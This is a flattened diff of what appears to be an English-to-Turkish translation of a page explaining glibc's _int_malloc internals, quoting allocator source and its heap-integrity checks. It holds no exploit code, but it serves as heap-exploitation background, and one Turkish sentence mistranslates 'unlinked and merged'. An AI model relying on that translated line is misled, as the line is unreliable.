-_int_malloc start - +_int_malloc başlangıç ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3847 static void * _int_malloc (mstate av, size_t bytes) { - INTERNAL_SIZE_T nb; /* normalized request size */ - unsigned int idx; /* associated bin index */ - mbinptr bin; /* associated bin */ +INTERNAL_SIZE_T nb; /* normalized request size */ +unsigned int idx; /* associated bin index */ +mbinptr bin; /* associated bin */ - mchunkptr victim; /* inspected/selected chunk */ - INTERNAL_SIZE_T size; /* its size */ - int victim_index; /* its bin index */ +mchunkptr victim; /* inspected/selected chunk */ +INTERNAL_SIZE_T size; /* its size */ +int victim_index; /* its bin index */ - mchunkptr remainder; /* remainder from a split */ - unsigned long remainder_size; /* its size */ +mchunkptr remainder; /* remainder from a split */ +unsigned long remainder_size; /* its size */ - unsigned int block; /* bit map traverser */ - unsigned int bit; /* bit map traverser */ - unsigned int map; /* current word of binmap */ +unsigned int block; /* bit map traverser */ +unsigned int bit; /* bit map traverser */ +unsigned int map; /* current word of binmap */ - mchunkptr fwd; /* misc temp for linking */ - mchunkptr bck; /* misc temp for linking */ +mchunkptr fwd; /* misc temp for linking */ +mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE - size_t tcache_unsorted_count; /* count of unsorted chunks processed */ +size_t tcache_unsorted_count; /* count of unsorted chunks processed */ #endif - /* - Convert request size to internal form by adding SIZE_SZ bytes - overhead plus possibly more to obtain necessary alignment and/or - to obtain a size of at least MINSIZE, the smallest allocatable - size. Also, checked_request2size returns false for request sizes - that are so large that they wrap around zero when padded and - aligned. - */ +/* +Convert request size to internal form by adding SIZE_SZ bytes +overhead plus possibly more to obtain necessary alignment and/or +to obtain a size of at least MINSIZE, the smallest allocatable +size. Also, checked_request2size returns false for request sizes +that are so large that they wrap around zero when padded and +aligned. +*/ - nb = checked_request2size (bytes); - if (nb == 0) - { - __set_errno (ENOMEM); - return NULL; - } +nb = checked_request2size (bytes); +if (nb == 0) +{ +__set_errno (ENOMEM); +return NULL; +} ``` -
### Arena -In the unlikely event that there aren't usable arenas, it uses `sysmalloc` to get a chunk from `mmap`: +Kullanılabilir arena yoksa, `mmap`'den bir parça almak için `sysmalloc` kullanır:
_int_malloc not arena - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3885C3-L3893C6 /* There are no usable arenas. Fall back to sysmalloc to get a chunk from - mmap. */ - if (__glibc_unlikely (av == NULL)) - { - void *p = sysmalloc (nb, av); - if (p != NULL) - alloc_perturb (p, bytes); - return p; - } +mmap. */ +if (__glibc_unlikely (av == NULL)) +{ +void *p = sysmalloc (nb, av); +if (p != NULL) +alloc_perturb (p, bytes); +return p; +} ``` -
### Fast Bin -If the needed size is inside the Fast Bins sizes, try to use a chunk from the fast bin. Basically, based on the size, it'll find the fast bin index where valid chunks should be located, and if any, it'll return one of those.\ -Moreover, if tcache is enabled, it'll **fill the tcache bin of that size with fast bins**. +Gerekli boyut Fast Bins boyutları içindeyse, hızlı binlerden bir parça kullanmaya çalışın. Temelde, boyuta dayanarak, geçerli parçaların bulunması gereken hızlı bin indeksini bulacak ve eğer varsa, bunlardan birini döndürecektir.\ +Ayrıca, eğer tcache etkinse, **o boyuttaki tcache binini hızlı binlerle dolduracaktır**. -While performing these actions, some security checks are executed in here: +Bu işlemleri gerçekleştirirken, burada bazı güvenlik kontrolleri yapılır: -- If the chunk is misaligned: `malloc(): unaligned fastbin chunk detected 2` -- If the forward chunk is misaligned: `malloc(): unaligned fastbin chunk detected` -- If the returned chunk has a size that isn't correct because of it's index in the fast bin: `malloc(): memory corruption (fast)` -- If any chunk used to fill the tcache is misaligned: `malloc(): unaligned fastbin chunk detected 3` +- Eğer parça hizalanmamışsa: `malloc(): unaligned fastbin chunk detected 2` +- Eğer ileri parça hizalanmamışsa: `malloc(): unaligned fastbin chunk detected` +- Eğer döndürülen parçanın boyutu hızlı bin içindeki indeksinden dolayı doğru değilse: `malloc(): memory corruption (fast)` +- Tcache'i doldurmak için kullanılan herhangi bir parça hizalanmamışsa: `malloc(): unaligned fastbin chunk detected 3`
_int_malloc fast bin - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If the size qualifies as a fastbin, first check corresponding bin. - This code is safe to execute even if av is not yet initialized, so we - can try it without checking, which saves some time on this fast path. - */ +If the size qualifies as a fastbin, first check corresponding bin. +This code is safe to execute even if av is not yet initialized, so we +can try it without checking, which saves some time on this fast path. +*/ #define REMOVE_FB(fb, victim, pp) \ - do \ - { \ - victim = pp; \ - if (victim == NULL) \ - break; \ - pp = REVEAL_PTR (victim->fd); \ - if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ - malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ - } \ - while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ - != victim); \ +do \ +{ \ +victim = pp; \ +if (victim == NULL) \ +break; \ +pp = REVEAL_PTR (victim->fd); \ +if (__glibc_unlikely (pp != NULL && misaligned_chunk (pp))) \ +malloc_printerr ("malloc(): unaligned fastbin chunk detected"); \ +} \ +while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \ +!= victim); \ - if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) - { - idx = fastbin_index (nb); - mfastbinptr *fb = &fastbin (av, idx); - mchunkptr pp; - victim = *fb; +if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) +{ +idx = fastbin_index (nb); +mfastbinptr *fb = &fastbin (av, idx); +mchunkptr pp; +victim = *fb; - if (victim != NULL) - { - if (__glibc_unlikely (misaligned_chunk (victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); +if (victim != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 2"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (victim->fd); - else - REMOVE_FB (fb, pp, victim); - if (__glibc_likely (victim != NULL)) - { - size_t victim_idx = fastbin_index (chunksize (victim)); - if (__builtin_expect (victim_idx != idx, 0)) - malloc_printerr ("malloc(): memory corruption (fast)"); - check_remalloced_chunk (av, victim, nb); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (victim->fd); +else +REMOVE_FB (fb, pp, victim); +if (__glibc_likely (victim != NULL)) +{ +size_t victim_idx = fastbin_index (chunksize (victim)); +if (__builtin_expect (victim_idx != idx, 0)) +malloc_printerr ("malloc(): memory corruption (fast)"); +check_remalloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = *fb) != NULL) - { - if (__glibc_unlikely (misaligned_chunk (tc_victim))) - malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); - if (SINGLE_THREAD_P) - *fb = REVEAL_PTR (tc_victim->fd); - else - { - REMOVE_FB (fb, pp, tc_victim); - if (__glibc_unlikely (tc_victim == NULL)) - break; - } - tcache_put (tc_victim, tc_idx); - } - } +/* While bin not empty and tcache not full, copy chunks. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = *fb) != NULL) +{ +if (__glibc_unlikely (misaligned_chunk (tc_victim))) +malloc_printerr ("malloc(): unaligned fastbin chunk detected 3"); +if (SINGLE_THREAD_P) +*fb = REVEAL_PTR (tc_victim->fd); +else +{ +REMOVE_FB (fb, pp, tc_victim); +if (__glibc_unlikely (tc_victim == NULL)) +break; +} +tcache_put (tc_victim, tc_idx); +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} +} ``` -
-### Small Bin +### Küçük Bin -As indicated in a comment, small bins hold one size per index, therefore checking if a valid chunk is available is super fast, so after fast bins, small bins are checked. +Bir yorumda belirtildiği gibi, küçük binler her indeks için bir boyut tutar, bu nedenle geçerli bir parçanın mevcut olup olmadığını kontrol etmek çok hızlıdır, bu yüzden hızlı binlerden sonra küçük binler kontrol edilir. -The first check is to find out if the requested size could be inside a small bin. In that case, get the corresponded **index** inside the smallbin and see if there is **any available chunk**. +İlk kontrol, istenen boyutun küçük bir bin içinde olup olmadığını bulmaktır. Bu durumda, küçük bin içindeki ilgili **indeksi** alır ve **herhangi bir mevcut parça** olup olmadığını kontrol eder. -Then, a security check is performed checking: +Ardından, bir güvenlik kontrolü gerçekleştirilir: -- if `victim->bk->fd = victim`. To see that both chunks are correctly linked. +- if `victim->bk->fd = victim`. Her iki parçanın da doğru bir şekilde bağlantılı olduğunu görmek için. -In that case, the chunk **gets the `inuse` bit,** the doubled linked list is fixed so this chunk disappears from it (as it's going to be used), and the non main arena bit is set if needed. +Bu durumda, parça **`inuse` bitini alır,** çift yönlü bağlantılı liste düzeltilir, böylece bu parça ondan kaybolur (çünkü kullanılacak), ve gerekirse ana arenanın dışındaki bit ayarlanır. -Finally, **fill the tcache index of the requested size** with other chunks inside the small bin (if any). +Son olarak, **istenen boyuttaki tcache indeksini** küçük bin içindeki diğer parçalarla doldurur (varsa).
-_int_malloc small bin - +_int_malloc küçük bin ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3895C3-L3967C6 /* - If a small request, check regular bin. Since these "smallbins" - hold one size each, no searching within bins is necessary. - (For a large request, we need to wait until unsorted chunks are - processed to find best fit. But for small ones, fits are exact - anyway, so we can check now, which is faster.) - */ +If a small request, check regular bin. Since these "smallbins" +hold one size each, no searching within bins is necessary. +(For a large request, we need to wait until unsorted chunks are +processed to find best fit. But for small ones, fits are exact +anyway, so we can check now, which is faster.) +*/ - if (in_smallbin_range (nb)) - { - idx = smallbin_index (nb); - bin = bin_at (av, idx); +if (in_smallbin_range (nb)) +{ +idx = smallbin_index (nb); +bin = bin_at (av, idx); - if ((victim = last (bin)) != bin) - { - bck = victim->bk; - if (__glibc_unlikely (bck->fd != victim)) - malloc_printerr ("malloc(): smallbin double linked list corrupted"); - set_inuse_bit_at_offset (victim, nb); - bin->bk = bck; - bck->fd = bin; +if ((victim = last (bin)) != bin) +{ +bck = victim->bk; +if (__glibc_unlikely (bck->fd != victim)) +malloc_printerr ("malloc(): smallbin double linked list corrupted"); +set_inuse_bit_at_offset (victim, nb); +bin->bk = bck; +bck->fd = bin; - if (av != &main_arena) - set_non_main_arena (victim); - check_malloced_chunk (av, victim, nb); +if (av != &main_arena) +set_non_main_arena (victim); +check_malloced_chunk (av, victim, nb); #if USE_TCACHE - /* While we're here, if we see other chunks of the same size, - stash them in the tcache. */ - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - { - mchunkptr tc_victim; +/* While we're here, if we see other chunks of the same size, +stash them in the tcache. */ +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +{ +mchunkptr tc_victim; - /* While bin not empty and tcache not full, copy chunks over. */ - while (tcache->counts[tc_idx] < mp_.tcache_count - && (tc_victim = last (bin)) != bin) - { - if (tc_victim != 0) - { - bck = tc_victim->bk; - set_inuse_bit_at_offset (tc_victim, nb); - if (av != &main_arena) - set_non_main_arena (tc_victim); - bin->bk = bck; - bck->fd = bin; +/* While bin not empty and tcache not full, copy chunks over. */ +while (tcache->counts[tc_idx] < mp_.tcache_count +&& (tc_victim = last (bin)) != bin) +{ +if (tc_victim != 0) +{ +bck = tc_victim->bk; +set_inuse_bit_at_offset (tc_victim, nb); +if (av != &main_arena) +set_non_main_arena (tc_victim); +bin->bk = bck; +bck->fd = bin; - tcache_put (tc_victim, tc_idx); - } - } - } +tcache_put (tc_victim, tc_idx); +} +} +} #endif - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } - } +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} +} ``` -
### malloc_consolidate -If it wasn't a small chunk, it's a large chunk, and in this case **`malloc_consolidate`** is called to avoid memory fragmentation. +Eğer küçük bir parça değilse, büyük bir parçadır ve bu durumda **`malloc_consolidate`** bellek parçalanmasını önlemek için çağrılır.
-malloc_consolidate call - +malloc_consolidate çağrısı ```c /* - If this is a large request, consolidate fastbins before continuing. - While it might look excessive to kill all fastbins before - even seeing if there is space available, this avoids - fragmentation problems normally associated with fastbins. - Also, in practice, programs tend to have runs of either small or - large requests, but less often mixtures, so consolidation is not - invoked all that often in most programs. And the programs that - it is called frequently in otherwise tend to fragment. - */ +If this is a large request, consolidate fastbins before continuing. +While it might look excessive to kill all fastbins before +even seeing if there is space available, this avoids +fragmentation problems normally associated with fastbins. +Also, in practice, programs tend to have runs of either small or +large requests, but less often mixtures, so consolidation is not +invoked all that often in most programs. And the programs that +it is called frequently in otherwise tend to fragment. +*/ - else - { - idx = largebin_index (nb); - if (atomic_load_relaxed (&av->have_fastchunks)) - malloc_consolidate (av); - } +else +{ +idx = largebin_index (nb); +if (atomic_load_relaxed (&av->have_fastchunks)) +malloc_consolidate (av); +} ``` -
-The malloc consolidate function basically removes chunks from the fast bin and places them into the unsorted bin. After the next malloc these chunks will be organized in their respective small/fast bins. +malloc consolidate fonksiyonu temelde hızlı bin'den parçaları çıkarır ve bunları sıralanmamış bin'e yerleştirir. Bir sonraki malloc işleminden sonra bu parçalar kendi küçük/hızlı bin'lerinde düzenlenecektir. -Note that if while removing these chunks, if they are found with previous or next chunks that aren't in use they will be **unliked and merged** before placing the final chunk in the **unsorted** bin. +Bu parçaları çıkarırken, eğer önceki veya sonraki kullanılmayan parçalarla karşılaşılırsa, bunlar **birleştirilir ve birleştirilir** ve son parça **sıralanmamış** bin'e yerleştirilmeden önce işlenir. -For each fast bin chunk a couple of security checks are performed: +Her hızlı bin parçası için birkaç güvenlik kontrolü gerçekleştirilir: -- If the chunk is unaligned trigger: `malloc_consolidate(): unaligned fastbin chunk detected` -- If the chunk has a different size that the one it should because of the index it's in: `malloc_consolidate(): invalid chunk size` -- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by `prev_chunk`: `corrupted size vs. prev_size in fastbins` +- Eğer parça hizalanmamışsa tetiklenir: `malloc_consolidate(): unaligned fastbin chunk detected` +- Eğer parçanın boyutu, bulunduğu indeks nedeniyle olması gereken boyuttan farklıysa: `malloc_consolidate(): invalid chunk size` +- Eğer önceki parça kullanılmıyorsa ve önceki parçanın boyutu `prev_chunk` tarafından belirtilen boyuttan farklıysa: `corrupted size vs. prev_size in fastbins`
malloc_consolidate function - ```c // https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4810C1-L4905C2 static void malloc_consolidate(mstate av) { - mfastbinptr* fb; /* current fastbin being consolidated */ - mfastbinptr* maxfb; /* last fastbin (for loop control) */ - mchunkptr p; /* current chunk being consolidated */ - mchunkptr nextp; /* next chunk to consolidate */ - mchunkptr unsorted_bin; /* bin header */ - mchunkptr first_unsorted; /* chunk to link to */ +mfastbinptr* fb; /* current fastbin being consolidated */ +mfastbinptr* maxfb; /* last fastbin (for loop control) */ +mchunkptr p; /* current chunk being consolidated */ +mchunkptr nextp; /* next chunk to consolidate */ +mchunkptr unsorted_bin; /* bin header */ +mchunkptr first_unsorted; /* chunk to link to */ - /* These have same use as in free() */ - mchunkptr nextchunk; - INTERNAL_SIZE_T size; - INTERNAL_SIZE_T nextsize; - INTERNAL_SIZE_T prevsize; - int nextinuse; +/* These have same use as in free() */ +mchunkptr nextchunk; +INTERNAL_SIZE_T size; +INTERNAL_SIZE_T nextsize; +INTERNAL_SIZE_T prevsize; +int nextinuse; - atomic_store_relaxed (&av->have_fastchunks, false); +atomic_store_relaxed (&av->have_fastchunks, false); - unsorted_bin = unsorted_chunks(av); +unsorted_bin = unsorted_chunks(av); - /* - Remove each chunk from fast bin and consolidate it, placing it - then in unsorted bin. Among other reasons for doing this, - placing in unsorted bin avoids needing to calculate actual bins - until malloc is sure that chunks aren't immediately going to be - reused anyway. - */ +/* +Remove each chunk from fast bin and consolidate it, placing it +then in unsorted bin. Among other reasons for doing this, +placing in unsorted bin avoids needing to calculate actual bins +until malloc is sure that chunks aren't immediately going to be +reused anyway. +*/ - maxfb = &fastbin (av, NFASTBINS - 1); - fb = &fastbin (av, 0); - do { - p = atomic_exchange_acquire (fb, NULL); - if (p != 0) { - do { - { - if (__glibc_unlikely (misaligned_chunk (p))) - malloc_printerr ("malloc_consolidate(): " - "unaligned fastbin chunk detected"); +maxfb = &fastbin (av, NFASTBINS - 1); +fb = &fastbin (av, 0); +do { +p = atomic_exchange_acquire (fb, NULL); +if (p != 0) { +do { +{ +if (__glibc_unlikely (misaligned_chunk (p))) +malloc_printerr ("malloc_consolidate(): " +"unaligned fastbin chunk detected"); - unsigned int idx = fastbin_index (chunksize (p)); - if ((&fastbin (av, idx)) != fb) - malloc_printerr ("malloc_consolidate(): invalid chunk size"); - } +unsigned int idx = fastbin_index (chunksize (p)); +if ((&fastbin (av, idx)) != fb) +malloc_printerr ("malloc_consolidate(): invalid chunk size"); +} - check_inuse_chunk(av, p); - nextp = REVEAL_PTR (p->fd); +check_inuse_chunk(av, p); +nextp = REVEAL_PTR (p->fd); - /* Slightly streamlined version of consolidation code in free() */ - size = chunksize (p); - nextchunk = chunk_at_offset(p, size); - nextsize = chunksize(nextchunk); +/* Slightly streamlined version of consolidation code in free() */ +size = chunksize (p); +nextchunk = chunk_at_offset(p, size); +nextsize = chunksize(nextchunk); - if (!prev_inuse(p)) { - prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size in fastbins"); - unlink_chunk (av, p); - } +if (!prev_inuse(p)) { +prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size in fastbins"); +unlink_chunk (av, p); +} - if (nextchunk != av->top) { - nextinuse = inuse_bit_at_offset(nextchunk, nextsize); +if (nextchunk != av->top) { +nextinuse = inuse_bit_at_offset(nextchunk, nextsize); - if (!nextinuse) { - size += nextsize; - unlink_chunk (av, nextchunk); - } else - clear_inuse_bit_at_offset(nextchunk, 0); +if (!nextinuse) { +size += nextsize; +unlink_chunk (av, nextchunk); +} else +clear_inuse_bit_at_offset(nextchunk, 0); - first_unsorted = unsorted_bin->fd; - unsorted_bin->fd = p; - first_unsorted->bk = p; +first_unsorted = unsorted_bin->fd; +unsorted_bin->fd = p; +first_unsorted->bk = p; - if (!in_smallbin_range (size)) { - p->fd_nextsize = NULL; - p->bk_nextsize = NULL; - } +if (!in_smallbin_range (size)) { +p->fd_nextsize = NULL; +p->bk_nextsize = NULL; +} - set_head(p, size | PREV_INUSE); - p->bk = unsorted_bin; - p->fd = first_unsorted; - set_foot(p, size); - } +set_head(p, size | PREV_INUSE); +p->bk = unsorted_bin; +p->fd = first_unsorted; +set_foot(p, size); +} - else { - size += nextsize; - set_head(p, size | PREV_INUSE); - av->top = p; - } +else { +size += nextsize; +set_head(p, size | PREV_INUSE); +av->top = p; +} - } while ( (p = nextp) != 0); +} while ( (p = nextp) != 0); - } - } while (fb++ != maxfb); +} +} while (fb++ != maxfb); } ``` -
-### Unsorted bin +### Sıralanmamış kutu -It's time to check the unsorted bin for a potential valid chunk to use. +Kullanılacak potansiyel geçerli bir parça için sıralanmamış kutuyu kontrol etme zamanı. -#### Start +#### Başlangıç -This starts with a big for look that will be traversing the unsorted bin in the `bk` direction until it arrives til the end (the arena struct) with `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` +Bu, `bk` yönünde sıralanmamış kutuyu geçerek arenaya (arena struct) ulaşana kadar devam eden büyük bir döngü ile başlar: `while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))` -Moreover, some security checks are perform every time a new chunk is considered: +Ayrıca, her yeni parça değerlendirildiğinde bazı güvenlik kontrolleri yapılır: -- If the chunk size is weird (too small or too big): `malloc(): invalid size (unsorted)` -- If the next chunk size is weird (too small or too big): `malloc(): invalid next size (unsorted)` -- If the previous size indicated by the next chunk differs from the size of the chunk: `malloc(): mismatching next->prev_size (unsorted)` -- If not `victim->bck->fd == victim` or not `victim->fd == av` (arena): `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's `fd` should be pointing always to the arena struct. -- If the next chunk isn't indicating that the previous is in use: `malloc(): invalid next->prev_inuse (unsorted)` +- Eğer parça boyutu garipse (çok küçük veya çok büyük): `malloc(): invalid size (unsorted)` +- Eğer bir sonraki parça boyutu garipse (çok küçük veya çok büyük): `malloc(): invalid next size (unsorted)` +- Eğer bir sonraki parçanın belirttiği önceki boyut, parçanın boyutundan farklıysa: `malloc(): mismatching next->prev_size (unsorted)` +- Eğer `victim->bck->fd == victim` değilse veya `victim->fd == av` (arena) değilse: `malloc(): unsorted double linked list corrupted` +- Her zaman sonuncusunu kontrol ettiğimiz için, `fd` her zaman arena yapısına işaret etmelidir. +- Eğer bir sonraki parça, öncekinin kullanımda olduğunu belirtmiyorsa: `malloc(): invalid next->prev_inuse (unsorted)`
-_int_malloc unsorted bin start - +_int_malloc sıralanmamış kutu başlangıcı ```c /* - Process recently freed or remaindered chunks, taking one only if - it is exact fit, or, if this a small request, the chunk is remainder from - the most recent non-exact fit. Place other traversed chunks in - bins. Note that this step is the only place in any routine where - chunks are placed in bins. +Process recently freed or remaindered chunks, taking one only if +it is exact fit, or, if this a small request, the chunk is remainder from +the most recent non-exact fit. Place other traversed chunks in +bins. Note that this step is the only place in any routine where +chunks are placed in bins. - The outer loop here is needed because we might not realize until - near the end of malloc that we should have consolidated, so must - do so and retry. This happens at most once, and only when we would - otherwise need to expand memory to service a "small" request. - */ +The outer loop here is needed because we might not realize until +near the end of malloc that we should have consolidated, so must +do so and retry. This happens at most once, and only when we would +otherwise need to expand memory to service a "small" request. +*/ #if USE_TCACHE - INTERNAL_SIZE_T tcache_nb = 0; - size_t tc_idx = csize2tidx (nb); - if (tcache != NULL && tc_idx < mp_.tcache_bins) - tcache_nb = nb; - int return_cached = 0; +INTERNAL_SIZE_T tcache_nb = 0; +size_t tc_idx = csize2tidx (nb); +if (tcache != NULL && tc_idx < mp_.tcache_bins) +tcache_nb = nb; +int return_cached = 0; - tcache_unsorted_count = 0; +tcache_unsorted_count = 0; #endif - for (;; ) - { - int iters = 0; - while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) - { - bck = victim->bk; - size = chunksize (victim); - mchunkptr next = chunk_at_offset (victim, size); +for (;; ) +{ +int iters = 0; +while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) +{ +bck = victim->bk; +size = chunksize (victim); +mchunkptr next = chunk_at_offset (victim, size); - if (__glibc_unlikely (size <= CHUNK_HDR_SZ) - || __glibc_unlikely (size > av->system_mem)) - malloc_printerr ("malloc(): invalid size (unsorted)"); - if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) - || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) - malloc_printerr ("malloc(): invalid next size (unsorted)"); - if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) - malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); - if (__glibc_unlikely (bck->fd != victim) - || __glibc_unlikely (victim->fd != unsorted_chunks (av))) - malloc_printerr ("malloc(): unsorted double linked list corrupted"); - if (__glibc_unlikely (prev_inuse (next))) - malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); +if (__glibc_unlikely (size <= CHUNK_HDR_SZ) +|| __glibc_unlikely (size > av->system_mem)) +malloc_printerr ("malloc(): invalid size (unsorted)"); +if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) +|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) +malloc_printerr ("malloc(): invalid next size (unsorted)"); +if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) +malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); +if (__glibc_unlikely (bck->fd != victim) +|| __glibc_unlikely (victim->fd != unsorted_chunks (av))) +malloc_printerr ("malloc(): unsorted double linked list corrupted"); +if (__glibc_unlikely (prev_inuse (next))) +malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); ``` -
-#### if `in_smallbin_range` +#### `in_smallbin_range` if -If the chunk is bigger than the requested size use it, and set the rest of the chunk space into the unsorted list and update the `last_remainder` with it. +Eğer parça istenen boyuttan büyükse, onu kullanın ve parçanın geri kalan kısmını sıralanmamış listeye ekleyin ve `last_remainder`'ı bununla güncelleyin.
-_int_malloc unsorted bin in_smallbin_range - +_int_malloc sıralanmamış kutu in_smallbin_range ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4090C11-L4124C14 /* - If a small request, try to use last remainder if it is the - only chunk in unsorted bin. This helps promote locality for - runs of consecutive small requests. This is the only - exception to best-fit, and applies only when there is - no exact fit for a small chunk. - */ +If a small request, try to use last remainder if it is the +only chunk in unsorted bin. This helps promote locality for +runs of consecutive small requests. This is the only +exception to best-fit, and applies only when there is +no exact fit for a small chunk. +*/ - if (in_smallbin_range (nb) && - bck == unsorted_chunks (av) && - victim == av->last_remainder && - (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) - { - /* split and reattach remainder */ - remainder_size = size - nb; - remainder = chunk_at_offset (victim, nb); - unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; - av->last_remainder = remainder; - remainder->bk = remainder->fd = unsorted_chunks (av); - if (!in_smallbin_range (remainder_size)) - { - remainder->fd_nextsize = NULL; - remainder->bk_nextsize = NULL; - } +if (in_smallbin_range (nb) && +bck == unsorted_chunks (av) && +victim == av->last_remainder && +(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) +{ +/* split and reattach remainder */ +remainder_size = size - nb; +remainder = chunk_at_offset (victim, nb); +unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; +av->last_remainder = remainder; +remainder->bk = remainder->fd = unsorted_chunks (av); +if (!in_smallbin_range (remainder_size)) +{ +remainder->fd_nextsize = NULL; +remainder->bk_nextsize = NULL; +} - set_head (victim, nb | PREV_INUSE | - (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - set_foot (remainder, remainder_size); +set_head (victim, nb | PREV_INUSE | +(av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +set_foot (remainder, remainder_size); - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; - } +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; +} ``` -
-If this was successful, return the chunk ant it's over, if not, continue executing the function... +Eğer bu başarılı olduysa, parçayı döndür ve işlem tamamlandı, eğer değilse, fonksiyonu çalıştırmaya devam et... -#### if equal size +#### eğer eşit boyut -Continue removing the chunk from the bin, in case the requested size is exactly the one of the chunk: +İstenen boyut tam olarak parçanın boyutuna eşitse, parçayı kutudan çıkarmaya devam et: -- If the tcache is not filled, add it to the tcache and continue indicating that there is a tcache chunk that could be used -- If tcache is full, just use it returning it +- Eğer tcache dolu değilse, onu tcache'e ekle ve kullanılabilecek bir tcache parçası olduğunu belirtmeye devam et +- Eğer tcache doluysa, sadece onu kullanarak geri döndür
-_int_malloc unsorted bin equal size - +_int_malloc sıralanmamış kutu eşit boyut ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c#L4126C11-L4157C14 /* remove from unsorted list */ - unsorted_chunks (av)->bk = bck; - bck->fd = unsorted_chunks (av); +unsorted_chunks (av)->bk = bck; +bck->fd = unsorted_chunks (av); - /* Take now instead of binning if exact fit */ +/* Take now instead of binning if exact fit */ - if (size == nb) - { - set_inuse_bit_at_offset (victim, size); - if (av != &main_arena) - set_non_main_arena (victim); +if (size == nb) +{ +set_inuse_bit_at_offset (victim, size); +if (av != &main_arena) +set_non_main_arena (victim); #if USE_TCACHE - /* Fill cache first, return to user only if cache fills. - We may return one of these chunks later. */ - if (tcache_nb > 0 - && tcache->counts[tc_idx] < mp_.tcache_count) - { - tcache_put (victim, tc_idx); - return_cached = 1; - continue; - } - else - { +/* Fill cache first, return to user only if cache fills. +We may return one of these chunks later. */ +if (tcache_nb > 0 +&& tcache->counts[tc_idx] < mp_.tcache_count) +{ +tcache_put (victim, tc_idx); +return_cached = 1; +continue; +} +else +{ #endif - check_malloced_chunk (av, victim, nb); - void *p = chunk2mem (victim); - alloc_perturb (p, bytes); - return p; +check_malloced_chunk (av, victim, nb); +void *p = chunk2mem (victim); +alloc_perturb (p, bytes); +return p; #if USE_TCACHE - } +} #endif - } +} ``` -
